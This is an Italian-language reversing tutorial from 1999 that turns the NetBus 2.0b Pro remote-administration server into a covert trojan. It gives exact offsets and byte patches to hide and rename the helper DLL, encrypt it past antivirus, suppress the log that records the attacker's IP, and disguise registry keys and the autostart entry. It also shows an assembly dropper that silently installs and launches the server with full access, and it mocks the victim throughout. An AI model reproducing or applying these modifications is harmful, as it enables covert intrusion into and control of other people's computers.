Reversing NetBus 2.0b Pro
(trasformiamo un Non-trojan in un Trojan)


05-11-1999

by "Quequero"

 

 

UIC's Home Page

Published by Quequero



Ecco a voi un tutorial sul vero e puro reversing, godetevelo :)

 
UIC's form
Home page se presente: http://quequero.cjb.net
E-mail: [email protected] or [email protected]
#Crack-it #UIC
UIC's form

Difficoltà

( )NewBies (X)Intermedio (X)Avanzato ( )Master

 

Avete mai sentito parlare del netbus 2.0? Bhè io credo di si e probabilmente avrete anche letto la mia guida all'uso del programma.....Bhè visto che tutti e due sappiamo di cosa stiamo parlando andiamo a ricostruire il programma


Reversing NetBus 2.0b Pro
(trasformiamo un Non-trojan in un Trojan)
Written by Quequero

Scaricate qua l'allegato (949kb)

Introduzione

Non avete mai praticato il reversing nel vero senso della parola? Bhè è giunto il momento di cominciare!

Tools usati

SoftIce 4.0 (ma va bene qualunque versione)
W32DASM
Hex-Workshop
Borland Resource Workshop
Stone PE Crypter
Petite v2.0
ProcDump 1.5
ASPack v 1.08.03 o 1.08.04
Un antivirus (io ho usato l'AVP)
La calcolatrice di winzoz

URL o FTP del programma

Avrete bisogno di NetBus 2.0b Pro anche se noi reverseremo solo il server (cmq se l'avete completo è meglio)

Notizie sul programma 

NetBus! Chi era costui? Bhè qualcuno lo chiama trojan...qualcuno lo adora, altri lo odiano...io...lo reverso...già! Il programma viene visto dagli antivirus come una backdoor, se chiedete in giro vi diranno che è un trojan.....Macchèèè tutte cretinate, il programma non può vantarsi di quel nome...un trojan è invisibile e silenzioso, il netbus è molto visibile e soprattutto molto poco flessibile heheheheeh...raga è giunta l'ora di trasformare questo pargoletto in un vero e proprio trojan con in controcoglioni....vabbè non esageriamo :) cmq lo miglioreremo di molto!

Essay

Prendete il server del netbus (vi consiglio di pescare il seriale leggendo il mio tutorial che si trova alla uic prima di iniziare), il suo nome è NBSvr.exe, avviatelo senza timore e come per magia vi apparirà davanti agli occhi una graziosa finestra corredata di alcuni pulsantini....ma come?!?!? Non doveva essere un trojan? Bhè in effetti dovrebbe proprio essere un trojan....Ma non credo che troveremo mai uno talmente leim (xOANONÓÔÒ :) da configurarsi sotto i vostri occhi un potenziale trojan...Bhè come tutti sapete un "cavallino" modello dovrebbe essere invisibile e soprattutto molto molto flessibile, e sono proprio queste le doti che conferiremo al nostro pargolo....Già, invisibilità e flessibilità..Hihihihihihi...Bene è con sommo piacere che dopo un periodo ancora non terminato di impegni estremamente pesanti che vi presento questo tute...Quindi...c'mon babe let's reverse :)

Avviate il NetBus e noterete subito che viene creata una dll di nome NBHelp.dll....Mmmmm sta cosa non ci piace per niente e poi se prendete un qualunque antivirus vedrete che la rileva come pericolosa e la cancella...quindi primo passo: packare la dll, crittarla e cambiarne il nome hihihihihihi come sono perfido :).
Per prima cosa dobbiamo rendere questa dll invisibile, ma come? Aprite un prompt di dos e scrivete: 
 
c:\> petite -9 NBHelp.dll
 
e così avrete la dll compressa ed un backup, poi sempre dallo stesso prompt scrivere
 
c:\> spec NBHelp.dll
 
in questo modo la dll sarà anche crittata, adesso aprite l'antivirus e controllatela....Okkei sembra essere invisibile, mi raccomando non packate la dll con l'ASPack che ci sono dei problemi, ve lo dico perchè già c'ho provato :).
Ma adesso cosa ci facciamo con questa dll? Semplice, dobbiamo fare in modo che il programma estragga la NOSTRA dll e non la sua, per prima cosa dobbiamo vedere quanto è grande. Quindi aprite sice e mettete un breakpoint su writefile (bpx writefile) dovete tener presente che il programma crea il file con CreateFileA e poi lo riempie con WriteFile, createfile non ci interessa più di tanto e quindi lo scartiamo però dobbiamo anche trovare la locazione dalla quale il programma attinge byte da piazzare nel file, quindi aprite la vostra guida della API e cercate WriteFile, se non ce l'avete ci penso io:
 
BOOL WriteFile(
HANDLE hFile,
// handle del file nel quale scrivere
LPCVOID lpBuffer,
// puntatore ai bytes da scrivere nel file
DWORD nNumberOfBytesToWrite, // numero di bytes da scrivere (la dimensione del file finale)
LPDWORD lpNumberOfBytesWritten, // puntatore al numero di bytes scritti
LPOVERLAPPED lpOverlapped // puntatore alla struttura per I/O sovrapposti
);
ricordatevi che i dati vengono pushati nello stack in ordine diverso
Okkei, adesso potete avviare NBSvr.exe....ecco sice che poppa e dovreste avere davanti qualcosa di simile a questo:
:0040848C 8D442404          lea eax, dword ptr [esp+04] <-----Esp+04 punta alla stringa che a sua volta punta alla lunghezza della dll :)))
:00408490 50                         push eax <-----Salva Eax che adesso punta alla lunghezza della dll cioè FA00h--->64000 bytes
:00408491 57                         push edi
:00408492 56                         push esi <-----Esi punta ai dati da scrivere nel file, cioè i bytes della nostra dll
:00408493 53                         push ebx
:00408494 E817E4FFFF      Call KERNEL32!WriteFile
:00408499 85C0                    test eax, eax
:0040849B 7507                    jne 004084A4
 
guardate eax con "d eax" alla riga di comando.....e troverete il numero di bytes da scrivere nel file cioè FA00h che diventa 64000 in esadecimale...eccovi la grandezza della dll, 64kilobyte, per verificare clickate sul file ed andate su proprietà...bene coincidono, ma tutto ciò non ci basta, adesso riavviate NBSvr.exe e dopo la chiamata a writefile scrivete "d esi", bene, questi sono i bytes che andranno nella dll e che dobbiamo cambiare con i nostri, ma dobbiamo sapere in quale sezione ci troviamo e per farlo dovremo clickare in sice col destro su "push esi" e scegliere "Un-Assemble" oppure scrivere "u 00408492"....Guardiamo la barra verde in basso in sice e c'è scritto: NBSVR!.rsrc, quindi i byte si trovano nella sezione .rsrc....Adesso abbiamo bisogno di conoscere l'offset al quale si trovano questi byte per poterli poi ritrovare nell'exe....se scrivete "d esi" vedrete che il primo byte si trova al RVA ---> 004834BC, per trovarne l'offset dobbiamo applicare una semplice formuletta (tenetevela stretta che vi servirà spesso :):
(RVA istruzione - RVA sezione) + Raw Offset sezione = Raw Offset istruzione....Allora applichiamola, aprite il ProcDump, clickate su PE Editor e poi selezionate il file del server...scorrete la lista e col destro clickate su .rsrc e poi su "Edit section"...bene l'RVA della nostra sezione è 82000h+l'imagebase che è di 400000 così diventa: 00482000, uscite da questo menu e trovatene nella lista il Raw Offset...per la .rsrc è 7C400h...quindi:
(004834BC-00482000) + 7C400 = 7D8BCh
benissimo, adesso questo numerino magico ci porterà direttamente ai bytes che vogliamo cambiare...Aprite l'hex-workshop, clickate su "go to offset" ed inseriteci 7D8BC...tadààà ecco a voi i bytes della dll, se volete controllarli prendetene una manciata e confrontateli con quelli di NBHelp.dll....Oki a me corrispondono e ciò vuol dire che il programma non critta in alcun modo la dll prima di estrarla...male male :). La cosa che stiamo per fare è sostituire i byte della dll originale con i byte della nostra dll packata e crittata :)...ma non dimentichiamoci una cosa, cioè che il file originale è lungo 64000bytes mentre il nostro è di 36099bytes, quindi se mi avete seguito avrete anche capito che c'è bisogno di cambiare prima del writefile il parametro che indica all'API quanti byte scrivere...Dunque facendo due conti vediamo che 64000 corrisponde a FA00h e 36099 a 8D03h...con un procedimento simile al primo scopriamo che la lunghezza si trova all'offset 7D9F4h, ovviamente non troverete FA00 ma 00FA (raga non è colpa mia e colpa della Intel :). Tanto per iniziare la modifica cambiamo FA00 in 8D03 (quindi 00FA in 038D :) in questo modo il programma estrarrà solo 8D03h bytes...salvate il file fate na prova....Okkei a me funzia e a voi pure :), adesso inizieremo la parte più delicata del nostro lavoro: aprite nell'Hex-Workshop contemporaneamente il NBSvr.exe e la dll packata, portatevi all'offset 7D8BCh nel file NBSvr.exe e troverete la signature della dll originale "MZP....", adesso massimizzate la finestra nella quale si trova la dll packata e copiatene tutti i bytes dal primo all'ultimo....Riandate nella finestra del server e selezionate a partire dall'offset di prima 8D03h bytes (è semplice, andate nella parte dove trovate il codice esadecimale e scorrete giù fino a che l'indicatore in basso a destra vi segnerà 0x8D03 bytes) a questo punto attentissimi a non aver selezionato un byte in meno o in più premerete Ctrl+v oppure il tasto "incolla" ed avrete incollato i nostri bytes sul file (dovete tenere il pulsante "ins" disattivato altrimenti i vostri dati incollati si accoderanno a quelli selezionati), adesso salvate e quando vi chiede di fare il backup dell'originale rispondete di si...Uscite dal programma e controllate che le dimensioni dei due file (l'originale e quello modificato) siano IDENTICHE, e sopratutto state attenti che l'ultimo byte incollato sia UGUALE all'ultimo byte della dll packata....Adesso vi consiglio di riempire i successivi bytes con tutti zeri....Bene bene, fate una prova, avviate il file e vedete se la dll che vi genera è uguale a quella packata...a me si quindi tutto okkei.
Riposatevi 5 minuti che avremo da fare ancora per parecchio............................................................................
Io mi sono riposato un pochetto....ricominciamo: altra cosa che dobbiamo fare è cambiare il nome della dll perchè NBHelp.dll è un po' troppo esplicito, io la chiamerò mfc40a.dll...ma cosa andiamo a cambiare? Bhè probabilmente dovremo cambiare il nome in due parti dell'exe, il primo al LoadLibrary che carica la dll stessa ed il secondo al CreateFile, quindi piazzate un breakpoint su LoadLibraryA e steppate fino ad arrivare qua:
:00464EE8 E813E7F9FF                call 00403600
:00464EED 68B84F4600               push 00464FB8 <-----NBHelp.dll
:00464EF2 E8C918FAFF               KERNEL32!LoadLibraryA
:00464EF7 A3F0FF4600                mov dword ptr [0046FFF0], eax
:00464EFC 833DF0FF460000     cmp dword ptr [0046FFF0], 00000000
:00464F03 0F84A8000000           je 00464FB1
 
con i soliti calcoletti di prima cerchiamoci l'offset di 00464FB8 che è: 643B8h, quindi aprite l'Hex-Workshop....go to offset e cambiate il nome in mfc40a.dll...È inutile provare perchè ora non cambia nulla tranne che il programma cerca di caricare il file mfc40a.dll. Adesso rimettete un breakpoint su CreateFileA e steppate finchè non arrivate qui:
:00408430 53                         push ebx
:00408431 8BD8                   mov ebx, eax
:00408433 6A00                    push 00000000 <-----Guardate in EAX o EBX o ECX o EDX o ESI e troverete il nome del file da creare
:00408435 6880000000      push 00000080 <-----FILE_ATTRIBUTE_NORMAL
:0040843A 6A02                   push 00000002 <-----CREATE_ALWAYS
:0040843C 6A00                   push 00000000 <-----FILE_SHARE_NONE
:0040843E 6A00                   push 00000000 <-----SECURITY_ANONYMOUS
:00408440 68000000C0     push C0000000 <-----GENERIC_READWRITE
:00408445 8BC3                   mov eax, ebx
:00408447 E810BBFFFF    KERNEL32!CreateFileA
:0040844C 50                        push eax
 
adesso con il solito metodo vi ritrovate l'offset al quale è localizzato il nome che in questo caso è: 642B4h, andate nell'hex-workshop e cambiatene il nome con mfc40a.dll...Abbiamo fatto i fondamentali, ma per evitare bug cambiate in mfc40a.dll anche le stringhe agli offset 86334h 8AB34h 673E0h. Adesso la nostra dll ha un nome tutto suo e questo è mooooooooolto bene :) solo che il nostro caro programma ancora non è un trojan per due motivi, il primo è che crea un file di log chiamato log.txt nel quale scrive tutto ciò che noi facciamo sull'harddisk il nostro IP è compreso tra queste righe :) hehe allora fixiamo questo problema e poi passiamo al secondo dramma da cambiare :)
Non vi nascondo che in un primo momento sono rimasto spaesato, in effetti non sapevo che fare perchè se non creavo il file il server crashava, se mettevo il file log.txt come readonly il programma ci scriveva dentro lo stesso allora ho iniziato a pensare.....e pensa che ti ripensa mi sono detto: "Bhè dovrà pure scriverci in questo dannato file? E magari usa proprio WriteFile!", bhè un bel breakpoint sulla funzione, apro la console, mi collego al mio pc e boom, eccoti più bello che mai sice, non avete capito? Vi mostro una cosa:
 
BOOL WriteFile(
HANDLE hFile,
// handle del file nel quale scrivere
LPCVOID lpBuffer,
// puntatore ai bytes da scrivere nel file
DWORD nNumberOfBytesToWrite, // numero di bytes da scrivere
LPDWORD lpNumberOfBytesWritten, // puntatore al numero di bytes scritti
LPOVERLAPPED lpOverlapped // puntatore alla struttura per I/O sovrapposti
);
si si, lo so che sta tabella l'ho già messa sopra, ma guardate.....vedete il terzo parametro? Esatto, se lo settiamo a zero non verrà scritto un cavolo di niente la dentro...quindi bpx writefile, fate partire la console, avviate anche il server e connettetevi al vostro pc (IP 127.0.0.1).....Tadàààà ecco sice, steppate fino ad arrivare qui:
:0040572B 51                      push ecx
:0040572C 8B500C           mov edx, dword ptr [eax+0C] <-----Muovi in edx il numero di bytes da scrivere nel file
:0040572F 85D2                  test edx, edx <-----Edx uguale a 0? (edx è uguale a zero se ci sono stai degli errori e il server da un messaggio)
:00405731 7E1A                  jle 0040574D <-----Se si salta a GetLastError
:00405733 33C9                   xor ecx, ecx
:00405735 89480C              mov dword ptr [eax+0C], ecx
:00405738 51                        push ecx
:00405739 8D4C2404        lea ecx, dword ptr [esp+04]
:0040573D 51                        push ecx
:0040573E 52                        push edx <----- Edx contiene il numero di byte da scrivere :))))
:0040573F FF7014               push [eax+14] <-----eax+14 contiene l'offset del buffer che contiene i nostri dati
:00405742 FF30                   push dword ptr [eax]
:00405744 E807BBFFFF   KERNEL32!WriteFile
:00405749 85C0                  test eax, eax <-----Scrittura avvenuta con successo? Muovi 1 in eax se non ci sono stati errori
:0040574B 7404                  je 00405751 <-----Eax = a 0? Salta a GetLastError
 
cosa dobbiamo modificare? Dobbiamo fare un paio di interventi sotto anestesia locale quindi poco rischiosi :) per prima cosa al posto di test edx, edx al RVA 0040572F ci mettiamo un bel xor edx, edx ed il salto sotto lo noppiamo, quindi in sice fate così: a 40572F invio
xor edx, edx
nop
nop
ed ora state tranquilli che il log sarà vuoto :), segnatevi i byte ed andateli a cambiare nel file....Vabbè ve lo dico io, andate all'offset 4B2Fh e cambiate questi byte: 85D27E1A con 33D29090....Non è finito, consiglio anche di cambiare il nome e gli attributi del file di log, lo chiameremo s_s.vxd e setteremo l'attributo di file nascosto :).In sice scrivete: bpx createfilea
avviate il server e steppate fino ad arrivare qua:
:004057E7 6A00                    push 00000000
:004057E9 6880000000      push 00000080 <-----FILE_ATTRIBUTE_NORMAL
:004057EE 51                         push ecx
:004057EF 6A00                    push 00000000
:004057F1 52                         push edx
:004057F2 50                         push eax
:004057F3 8D4648               lea eax, dword ptr [esi+48] <-----Esi+48 punta al nome log.txt
:004057F6 50                         push eax
:004057F7 E80CBAFFFF    KERNEL32!CreateFileA
:004057FC 83F8FF               cmp eax, FFFFFFFF
:004057FF 0F84EB000000 je 004058F0
 
per prima cosa cambiamo quel push 80 in push 02, cioè da push FILE_ATTRIBUTE_NORMAL diventa push FILE_ATTRIBUTE_HIDDEN, e poi cambiamo il nome da Log.txt a s_s.vxd, quindi da sice scrivete: a 4057e9 e poi
push 2
nop
nop
 
quindi portatevi all'offset 4BE9h e cambiate 688000000 in 6A02909090, poi andate all'offset 67E04h e cambiate Log.txt in s_s.vxd, salvate il tutto e provate :) dhe hi hi hi come godo, non vedo l'ora di provarlo il mio trojanino :)...bhè a me comunque funziona :)))), bene quindi il primo male è fixato, manca il secondo :) ma siccome (che ci crediate o no) sono passate delle ore dall'inizio della seconda parte del tutorial io vado un po' a riposarmi :)
Eccomi tornatooooooo :))))) hihihihi, allora, se non erro si doveva parlare del secondo problema...già, bhè, il NetBus potrebbe anche essere un quasi-trojan se non avesse una grave pecca, cioè se noi lo spediamo a qualcuno e quel "qualcuno" lo avvia, il programma non corre subito a nascondersi ma anzi gli si presenta davanti come un merluzzo, e questo sapete perchè? Bhè perchè il caro programmuzzo vuole essere configurato a dovere ed è inutile configurarlo a casa perchè lui va a cercare delle chiavi nel registro, cosa farà allora il caro Que? Sicuramente cambierà il valore di queste chiavi vero?..Si vero :), allora ragazzo aprite il regedit e successivamente la chiave HKEY_CURRENT_USER, orroreeeee c'è una chiave che si chiama NetBus Server, già, apritela e troverete tante belle cosette :), aprite la SubKey General e guardatevi un po' i valori, tenete conto che il valore 1 significa vero ed il valore 0 significa falso (all'insegna di uno sfacciato uso i classici valori booleani :), nella chiave general la prima stringa deve stare a 1 altrimenti il server non accetta connessioni dal client, AccessMode dovrebbe stare a 2 perchè ci da il livello di accesso più alto, AutoStart mi sembra ovvio che deve stare a 1, TCPPort la settate come vi pare e Visibility deve stare a 3 che vuol dire il più alto grado di invisibilità, poi nell'altra SubKey, quella che si chiama Protection ci sta la password che se non è settata fa assumere alla stringa un valore di "A", la pass è però crittata, ma di questo parleremo solo dopo :), il nostro lavoro consite ora nel cambiare i nomi nel modo più inoffensivo possibile e di settare i valori di default secondo il NOSTRO default :)))
Per cercare il nome della chiave principale basta fare un search nell'hex editor, cmq il valore giusto sta a 66254h, mentre per trovare il nome delle due subkey dobbiamo procedere diversamente. Già, dobbiamo usare un metodo un po' più leim, in pratica cerchiamo il nome della chiave e cambiamo ogni stringa che troviamo, questo lavoro può sembrare barbaro ma si deve davvero fare :), eccovi comunque la locazione di tutte le stringhe "General", potete scegliere qualunque nome ma vi consiglio di usare un nome con la stessa lunghezza dell'originale perchè altrimenti dovreste cambiare il byte che indica al RegOpenKeyExA di quanti byte deve essere il nome della key, se invece usate un nome più corto allora dovrete riempire solamente lo spazio restante con degli zeri, io ho scelto questo nome TCP_IP......scusate...eccovi gli offset delle stringhe da cambiare: 65798h, 65BC0h, 65E64h, 660ACh, fatto? Bene, salvate tutto, avviate il file vedete se la chiave Web/TCP_IP viene generata, cambiate dei valori e vedete se vengono settati...Okkei a me funziona...Coraggio la stessa cosa per la SubKey di nome "Protection", io la chiamerò DefBrowser: 65C30h, 65ED4h, 6611Ch, ed ora andiamo a cambiare le ultime stringhe, eccovene un breve riassunto degli offset:
 
Accept: 65BB0h, 65E54h, 6609Ch (io l'ho chiamata Downll)
AccessMode: 65BF4h, 65E98h, 660E0h (la mia è InternetSp)
AutoStart: 65C08h, 65EACh, 660F4h (la mia è LocationT)
TCPPort: 65BD0h, 65E74h, 660BCh (la mia l'ho chiamata DNSHost)
Visibility: 65784h, 65BE0h, 65E84h (la mia si chiama PingTimeRe)
Password: 65C1Ch, 65EC0h, 66108h (la mia è Referrer)
 
Questo lavoro è stato di tutto riposo ma ora dobbiamo fare in modo che i valori settati dal programma al primo avvio siano diversi, per fortuna la strada non dobbiamo cercare le stringhe nel file come prima altrimenti il nostro tentativo di reversing sarebbe diventato mooooolto tedioso :). Come prima cosa dobbiamo capire come vengono create le chiavi e le stringhe nel registro, quindi settate un bp su RegSetValueExA....avviate il netbus...e sbam....
:0045B161 8B45FC              mov eax, dword ptr [ebp-04] <-----Muovi in eax il valore da  inserire nella stringa del registro
:0045B164 50                        push eax
:0045B165 56                        push esi
:0045B166 6A00                   push 00000000
:0045B168 8BC7                  mov eax, edi <-----Muovi in eax il nome della chiave del registro che si sta modificando
:0045B16A E8ED8DFAFF call 00403F5C
:0045B16F 50                       push eax
:0045B170 8B4304             mov eax, dword ptr [ebx+04]
:0045B173 50                       push eax
:0045B174 E84FB4FAFF   advapi32.RegSetValueExA
:0045B179 85C0                 test eax, eax
:0045B17B 742E                 je 0045B1AB
 
come vedete è abbastanza semplice, al primo break la chiave esaminata sarà la nostra Downl (cioè Accept) ed  eax al RVA 45B161 punterà al valore di default....0 :)) ma vogliamo fare una cosa intelligente? Dunque, sappiamo che tutti i valori vengono settati tramite la stessa routine e tutti con lo stesso ordine cioè:
 
Downl = 0
DNSHost = 20034
PingTimeRe = 0
InternetSp = 2
LocationT = 0
Referrer = A
 
cosa cerchiamo di più dalla vita?
i valori che ci interessano sono solo tre:
Accept connections
Invisible (95/98)
AutoStart
tanto Full Access è settato di default, quindi dobbiamo fare un po' di coding e dobbiamo settare le chiavi nel registro a questi valori:
 
Accept connections (Downll) a 1
Invisible 95/98 (PingTimeRe) a 3
Autostart a 1
 
le vie che ci si pongono davanti sono due:
1) inserire codice nostro per creare le chiavi
2) includere il programma in un sorgente nostro e poi fargli fare tante cose belle
in realtà potremmo scegliere la prima soluzione ma allora dovremmo inserire davvero moltissimo codice, per questo faremo la seconda, iniziamo con l'aprire il nostro file con il Resource Workshop ed eliminiamogli l'icona così sembrerà un comune exe, poi facciamoci un'idea di come si comporterà il nostro pargolo...per prima cosa all'avvio creerà le chiavi nel registro, il programma padre (quello che stiamo per creare) estrarrà quindi il pargoletto in una directory mooooolto affollata, avvierà il pargolo e quest'ultimo sarà felice di consentirci l'accesso al computer, potremmo corredare anche il tutto con una bella messagebox tanto per non far insospettire il lamer di turno :) ma questo lo farete da soli :)...A questo punto dovete fare alcuni ritocchi perchè il lavoro sul file del netbus è oramai finito, quindi cambiate TUTTE le stringhe NetBus Server con altre (ma non toccate la stringa NetBuse Base) e soprattutto fate una cosa, se settate "Autostart every windows session" a 1 allora il programma inserirà una chiave nel registro di windows a HKEY_LOCAL_MACHINE\Software\Mircosoft\Windows\CurrentVersion\RunService che si chiamerà NetBus Server Pro, questa stringa la trovate nel file all'offset 67AE4h (la troverete a questo offset solo dopo aver eliminato l'icona altrimenti sarà altrove :) ed io l'ho cambiata in SVGA Video Driver heheheh che furbone :))). Dobbiamo fare in modo che il programma setti le chiavi nel registro prima che si avvii ed i passi che seguiremo saranno questi:
 
1) Creazione di un programma ASM che crei le chiavi per fatti suoi
2) Inclusione del NetBus Server nel programma
3) Estrazione del server dal file ed esecuzione dello stess
 
ovviamente ho già fatto tutto io ed il codice lo troverete nel file che avete dovuto scaricare all'inizio del tutorial, ma credo sia giusto spiegarvi come fare: innanzitutto creerete il programma che setta le chiavi e lo testerete, poi con l'utility "Bin2Db" che si trova nel pacchetto convertirete l'exe originale del server in un file di testo scrivendo al prompt di dos: bin2db nbsvr.exe nb.txt
così vi ritroverete sull'hard disk un bel file di testo di 1.1Mb, non dovete far altro che copiare tutto quel file nel sorgente ASM del programma appena, eccovi cosa vedrete prima della procedura:
lpData4th db '65842',0         ; TCPPort number
lpData5th db '2',0              ; Access mode: full
lpValueName4th db 'DNSHost',0      ; TCPPort
lpValueName5th db 'InternetSp',0
Buffer dd 3 dup (0)
Value dd 1
handle dd 0
Random1 dd 1
Random2 dd 812041h
ff dd 5 dup (0)
; Attenti a cosa succede qui
File_Size dd 270336
B        dd 4
NewFileLocation db 'c:\windows\system\',0
Buff        dd 4 dup (0)
 
.code
 
Start:
push offset lpdw
push offset Result
push NULL
push 1F0003h
push NULL
push NULL
push NULL
 
ecc....ed ecco cosa vedrete dopo:
 
Buffer dd 3 dup (0)
Value dd 1
handle dd 0
Random1 dd 1
Random2 dd 812041h
ff dd 5 dup (0)
; Qui ho inserito Bytes_To_Write contenente tutti i bytes dell'exe originale
Bytes_To_Write db 077,090,080,000,002,000,000,000,004,000
db 015,000,255,255,000,000,184,000,000,000
db 000,000,000,000,064,000,026,000,000,000
db 000,000,000,000,000,000,000,000,000,000
db 000,000,000,000,000,000,000,000,000,000
db 000,000,000,000,000,000,000,000,000,000
db 000,001,000,000,186,016,000,014,031,180
db 009,205,033,184,001,076,205,033,144,144
db 084,104,105,115,032,112,114,111,103,114
................
...............
File_Size dd 270336
B        dd 4
NewFileLocation db 'c:\windows\system\',0
Buff        dd 4 dup (0) 
 
Se avvierete il programma succederanno in sequenza tutte queste cose: creazione di tutte le chiavi nel registro, creazione di un nome casuale di 8 caratteri, estrazione del server nella directory windows\system con il nome casuale, esecuzione del server. A questo punto avrete accesso alla macchina remota ma come vedete la password non è settata:
 
lpData1_st db 'A',0         ; Password (A= No password set)
 
potremmo anche non settarla e lasciare l'accesso libero ma visto che siamo reverser andiamo a reversare l'algo che generea questa password e facciamo un generatore di password, prima di iniziare dovete sapere che quando inserite una password questa viene crittata, viene preceduta dal carattere "A" e salvata nel registro, al momento della connessione il Client critta la password ed il Server la confronta con quella che si trova nel registro, se sono uguali fa passare la richiesta di connessione. Come prima cosa aprite il server, settate una pass "ad cazzum", mettete un breakpoint su hmemcpy (bpx hmemcpy), premete okkei e steppate fino ad arrivare al RVA 00464689 o semplicemente una volta entrati nel codice del server scrivete "g 464689", cancellate tutti i bp (bc*) e dovreste approdare qui (stiamo parlando del file originale, quindi ancora non l'icona):
 
CODE:00464689              mov eax, [ebp+var_8]                       ; Muovi in EAX l'offset della password
CODE:0046468C            mov edx, [ebp+var_18]                     ; Muove in EDX il numero del carattere che si sta esaminando
CODE:0046468F              movzx eax, byte ptr [eax+edx-1]     ; Mov in EAX un carattere della password inserita
CODE:00464694             add ebx, eax                                        ; Aggiungi ad EBX che al primo loop contiene 41h (in ASCII = A) il carattere che si                                                                                                         ; sta esaminando
CODE:00464696             and ebx, 800000FFh                         ; Se il risultato è più grande di due cifre taglialo
CODE:0046469C            jns short CODE_4646A6               
CODE:0046469E            dec ebx                                              
CODE:0046469F            or ebx, 0FFFFFF00h
CODE:004646A5            inc ebx
CODE:004646A6            cmp esi, [ebp+var_10]                    
; Confronta esi (usato come contatore) con la lunghezza della stringa "NetBus Base"
CODE:004646A9            jge short CODE_4646AE                ; Se è più lungo reinizializza il contatore
CODE:004646AB           inc esi
CODE:004646AC           jmp short CODE_4646B3
CODE:004646AE            mov esi, 1
CODE:004646B3            mov eax, [ebp+var_4]
CODE:004646B6           movzx eax, byte ptr [eax+esi+8]       ; Muovi in EAX un carattere della stringa "NetBus Base"
CODE:004646BB          xor ebx, eax                                         ; Xora EBX con il carattere che si trova in EAX
CODE:004646BD          lea eax, [ebp+var_1C]                        ; Da qui in poi la pass viene solamente spostata in un buffer
CODE:004646C0           mov edx, ebx
CODE:004646C2           call CODE_403CC0
CODE:004646C7            mov edx, [ebp+var_1C]
CODE:004646CA           lea eax, [ebp+var_14]
CODE:004646CD          call CODE_403DA0
CODE:004646D2          inc [ebp+var_18]
CODE:004646D5         dec edi
CODE:004646D6         jnz short CODE_464689                   ; Continua fino alla fine della password
 

non disperate, ora vi spiego il funzionamento di questo semplicissimo algoritmo: per prima cosa viene sommato ad EBX il codice esadecimale del carattere che si sta esaminando, in EBX al primo loop troviamo 41h che in ASCII corrisponde al carattere "A", nei successivi loop troviamo in EBX il risultato delle operazioni successive e non più 41h...Viene fatto un check e se il contenuto di EBX occupa più di un byte allora viene troncato, poi sempre questo risultato viene xorato con i caratteri di una stringa che si trova nel server cioè: "NetBus Base", è ovvio che se cambiate la stringa al client si e al server non o viceversa non otterrete nessuna password valida, quindi attenti :) ecco a voi questo stupido algoritmo, ho creato il programma che vi critta la pass, in questo modo potrete scegliere una pass che più vi aggrada e sostituirla nel sorgente. Il problema è che il DOS non ha tanti caratteri quanti windows e quindi non dovrete far altro che lavorare pochissimo di Sice, davvero solo due righe, io ho infilato nel programm un INT 3 così da farvi trovare subito la pass, ecco come fare: clickate sul programma, una volta avviato aprite sice e mettete un bp sull'interrupt 3 (bpint 3), scrivete nel programma la password che volete ed otterrete questo:
Insert your password: MyPassword
appena premerete invio sice popperà e voi dovrete scrivere: d si+2a-si+1
a vi verrà visualizzata nella finestra dei byte la vostra pass, prendete un foglietto e segnatevela tutta, a me, se scelgo come password "MyPassword" è: 415CD87B9B7DD4011205
mi raccomando, andate a guardare i byte a sinistra e non i caratteri ascii a destra :), poi prendete il sorgente del programma e sostituite a questa riga:
lpData1_st db 'A',0         ; Password (A= No password set)
questa:
lpData1_st db 41h, 5Ch, D8h,7Bh,9Bh,7Dh,D4h,01h,12h,05h,0        ; Password settata
è molto semplice, vi scrivete i byte e li riportati tali e quali nella stringa di sopra, ricordando di mettere uno zero davanti ogni coppia di byte che inizia per lettera e di mettere un ",0" a fine stringa....Se potete compilare il file allora sapete che dovete fare, se invece siete nuovi della programmazione allora guardate bene l'esempio e capirete :).
Fatto questo, compilate il file, passate tutto sotto lo stone Pe Crypter e poi sotto l'ASPack :).....Se mi va può anche darsi che faccio un configuratore per il QueBus....Ma non si sa :)))))
Bhè questo tutorial è finalmente finito, sono molto felice e non vedo l'ora di chiudere l'editor sennò mi vengono in mente altre centomila cosa e non la smetto più :) ciauzzzzzzzz

Quequero
Note finali
Un ringraziamento particolarissimo va a:
Kill3xx: grazie kill, e soprattutto grazie per rispondere SEMPRE e tutte le mie domande, grazie ancora tanto
Yado: grazie a yado che mi ha passato la sua routine per creare le chiavi nel registro di windows che le mie non volevano mai funzionare :)
 
Altri saluti vanno a: Neural_Noise, +Malattia, Zorks56, +Xoanon, Alt255, Ritz, /Spirit/, Zer0Byte, Baron-Sam, Cod, Courier^ (ma che fine hai fatto?), T3x, Sorrow, fravia+, Oldiron61, Nobody88, Bobo, Lando, SandMan, Linox, Marco C., YanOrel....Bhè non me ne vengono più in mente :) ciauzzzzzzzzzzzzzzzz
 
Un fuck stramiticuzzo va a:
Buelti: che mi ha ripagato un grosso favore bannandomi dal suo chan
Tiscali: che a l'Aquila doveva aprire a settembre ed ora non apre neanche entro il 1999
Alla neve: che non arriva mai e io devo andare a sciare :)
Alla telecoz: perchè è antipatica
A Bill Gate$: che presto ci regalerà i sorgenti
A Brioz: che se non la finisce con le sue fottute minaccie un giorno a l'altro m'inkazzo
A tutti gli SPAMMATORI (o spammer se siete esterofili) che non la finiscono mai di darci fastidio

ciauzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz

Disclaimer

Qui inserirete con questo carattere il vostro piccolo disclaimer, non è obbligatorio però è meglio per voi se c'è. Dovete scrivere qualcosa di simile a: vorrei ricordare che il software va comprato e  non rubato, dovete registrare il vostro prodotto dopo il periodo di valutazione. Non mi ritengo responsabile per eventuali danni causati al vostro computer determinati dall'uso improprio di questo tutorial. Questo documento è stato scritto per invogliare il consumatore a registrare legalmente i propri programmi, e non a fargli fare uso dei tantissimi file crack presenti in rete, infatti tale documento aiuta a comprendere lo sforzo immane che ogni singolo programmatore ha dovuto portare avanti per fornire ai rispettivi consumatori i migliori prodotti possibili.
Noi reversiamo al solo scopo informativo e di miglioramento del linguaggio Assembly.
Capitoooooooo????? Bhè credo di si ;)))) 

 
UIC's page of reverse engineering, scegli dove andare:

Home   Anonimato   Assembly    ContactMe  CrackMe   Links   
NewBies   News   Forum   Lezioni  
Tools   Tutorial 

UIC